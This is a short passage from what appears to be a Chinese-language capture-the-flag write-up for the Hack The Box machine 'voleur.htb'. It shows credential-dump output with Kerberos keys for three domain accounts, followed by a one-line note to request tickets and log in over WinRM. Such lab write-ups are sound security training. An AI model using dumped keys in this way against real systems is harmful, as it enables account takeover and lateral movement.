voleur.htb\svc_iis:des-cbc-md5:70ce25431c577f92
voleur.htb\jeremy.combs:aes256-cts-hmac-sha1-96:8bbb5ef576ea115a5d36348f7aa1a5e4ea70f7e74cd77c07aee3e9760557baa0
voleur.htb\jeremy.combs:aes128-cts-hmac-sha1-96:b70ef221c7ea1b59a4cfca2d857f8a27
voleur.htb\jeremy.combs:des-cbc-md5:192f702abff75257
voleur.htb\svc_winrm:aes256-cts-hmac-sha1-96:6285ca8b7770d08d625e437ee8a4e7ee6994eccc579276a24387470eaddce114
voleur.htb\svc_winrm:aes128-cts-hmac-sha1-96:f21998eb094707a8a3bac122cb80b831
voleur.htb\svc_winrm:des-cbc-md5:32b61fb92a7010ab
[*] Cleaning up...

然后请求票据，进行winrm登录

Reply by Email